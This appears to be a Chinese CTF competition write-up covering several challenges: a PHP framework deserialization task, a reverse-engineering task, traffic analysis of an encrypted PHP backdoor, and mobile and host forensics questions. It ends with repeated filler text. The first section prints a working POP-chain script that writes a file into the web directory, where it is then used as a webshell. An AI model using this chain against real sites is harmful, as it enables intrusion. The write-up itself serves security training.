php框架反序列化,简单题,直接全局搜索__destruct
只有一个可用
Jig#__destruct
调用到Base#wirte
,然后直接写入文件。刚开始做的时候想得麻烦了……
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=\\Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
// var_dump($this->dir.$file);
return $fw->write($this->dir.$file,$out);
}
// Base#wirte
function write($file,$data,$append=FALSE) {
return file_put_contents($file,$data,$this->hive['LOCK']|($append?FILE_APPEND:0));
}
蚁剑直接在根目录下找到flag
namespace DB {
use DB\\Jig as DBJig;
use Base;
class Jig {
protected
$dir,
//! Current storage format
$format,
//! Jig log
$log,
//! Memory-held data
$data,
//! lazy load/save files
$lazy;
public function __construct()
{
$this->dir = 'ui/';
$this->format = 0;
$this->data = array('index.php'=>['cmd\\']);']);
$this->lazy = true;
}
}
$a = [newDBJig(), new \\Base()];
echo urlencode(serialize($a));
}
namespace {
abstract class Prefab {
}
final class Base extends Prefab {
private $hive;
public function __construct()
{
$this->hive = array('LOCK'=>8, 'SERIALIZER'=>'');
}
}
}
flag:
flag{5cc7c26b-0994-4f76-aedd-36f91b940aca}
根据提示输入flag{十进制整数}
ida打开搜索字符串找到两个大整数,long_to_bytes()转成字节得到一个uuid的flag,提交后发现不对。
然后根据那两个整数定位到函数反编译
大致分析一下:
先是输出plz input your flag(format: flag{decimal number})
然后等待输入给v2
然后判断长度是否为42,头和尾是否为flag{}
输入的数赋值给x__hello_40,小一点的数复制给a__hello_41,后面再分别给v23, v22
进入star___6758Z85sersZ65ZOnimbleZpkgsZbigints4548O53O48Zbigints_1219()函数,看到关键字multiplication(乘法),可以猜测那个函数就是把v23和v22相乘赋值给v24
最后两个相乘的数和那个大数相比较,这样就得到了基本逻辑。
所以只需要计算大数除以小数就可以了
flag:flag{923973256239481267349126498121231231}
直接双击打开看,先查看system
查看到这条,再到security中找到该时间点,然后可以尝试几个(一次就对
md5之后上交
先追踪到流14,然后解码下面一部分
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OyGeP6l9-1659965763048)(https://s2.loli.net/2022/08/04/FoICaSnJ8ct5YeH.png)]
发现是一个php代码,但是进行了加密,搜一下上面提到的https://Www.PHPJiaMi.Com,是一个加密网站,然后google搜索解码
https://blog.csdn.net/ababab12345/article/details/90169678
但是发现github上的解码脚本没了,换一个被,正好发现,Y4大佬推了这个解码工具
https://github.com/Y4tacker/CTFBackup/commit/815e4df83ca6ff0de0a2138d203131246df4706f
然后下下来,解码
得到脚本,再稍微改一下
$cmd = ''
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDieYmLtWbGRSvUtevSlTOozmWR
qEGF4Hfvb1YCoVYAAlhnHnyMk+aLRvLXKgmerWiS+QD6y08Ispuzzn02tHE6d4Qp
DuPiPO9PAdGSXzFVFLK2hOrkXLsDXugNTdVUprdkPPI1YY0ZnMs1bT2Zf2dfuBI5
0S5e5sSOF85kNq/zwwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
}
echo $cmd;
最后是在流34中,发现有flag
一个很完美的Zmxh flag头
flag{844dfc86da23a4d5283907efaf9791ad}
iBoot-7429.62.1
加8小时
2022-01-11 18:47:38
查看微信聊天记录得到压缩包
ida分析,f12直接看
C:\Program Files\Common Files\Services\WmiApSvr.exe
ida打开,直接搜索advapi32.dll
然后跟进,发现sub__433630()函数有用到advap.32.dll
是
ida打开,直接搜索.exe
svchost.exe
都说了,挖矿,那就挖矿呗
挖矿
在这个的下面有一串很明显的ASCII,提取出来
解码,得到网站,然后溯源,得到ip,再通过ip查询地址
用jadx-gui打开base.apk,这边后来在做其他的题目的时候发现一个问题,明明是同一个附件,但是他的序列号却不一样,我不是很能理解,这边也是因为运气好,然后得到了正确的序列号,然后这边左边的代码还跟队友的不一样,队友都是abcd啥的,我是p061a这种,也不是很理解,导致后面有一个题目我做了半天出不来,按理来说就是那个函数,但是就是不对
base.apk是在对安卓的附件进行分析
0x936eacbe07f201df
在查看MainActivity解码base64得到
ansjk.ecxeio.xyz
同6
有
在受害人安卓手机中找到EXEC.apk并导出,打开java代码
主函数中导入了包,进去后发现了检测判断
受害人手机中exec的检测方法的完整路径和方法名是:d.a.a.c.a.a()
在受害人安卓手机中找到红星.ipa并导出
Info.plist文件下找到包名
受害人手机中红星IPA的包名是:com.dd666.hongxin
直接打开在Info.plist文件下找到APIKey
受害人手机中红星IPA的APIKEY是:d395159c291c627c9d4ff9139bf8f0a700b98732
用jadx-gui打开,搜索关键词www.得到
www.nansjy.com.cn:8161
基础的查看apk程序入口的知识
com.example.weisitas526sad.activity.SplashActivity
先从聊天记录里下载,然后直接在模拟器里安装,进去之后点击网络设置就可以看到端口
6661
fidder打开手机流量包,找到login关键字的url
选中在右边可以看到inspectors中可以看到uesrname,password等信息
把password在线md5解一下就有了
结合手机流量分析聊天工具的登录账号和密码是:17317289056/b12345678b
根据宝塔面板进行分析,得到,算了编不下去了,这题跟前面那个exec的界面一样,都是一直在猜,界面猜了567,但是不对,这个题直接猜了6,就对了,一猜就对,不得不说,这次比赛的运气是真的好!反过来想想为什么是6,我也不明白,等wp
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cAaK20oe-1659965763056)(C:/Users/Anoxia/AppData/Roaming/Typora/typora-user-images/image-20220804190028148.png)]
找到数据库名和密码,通过计算机仿真取证系统登录数据库
查询loginlogs表的数据,第一个ip就是最早访问涉案网站后台的IP地址
写出最早访问涉案网站后台的IP地址:183.160.76.194
凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数凑字数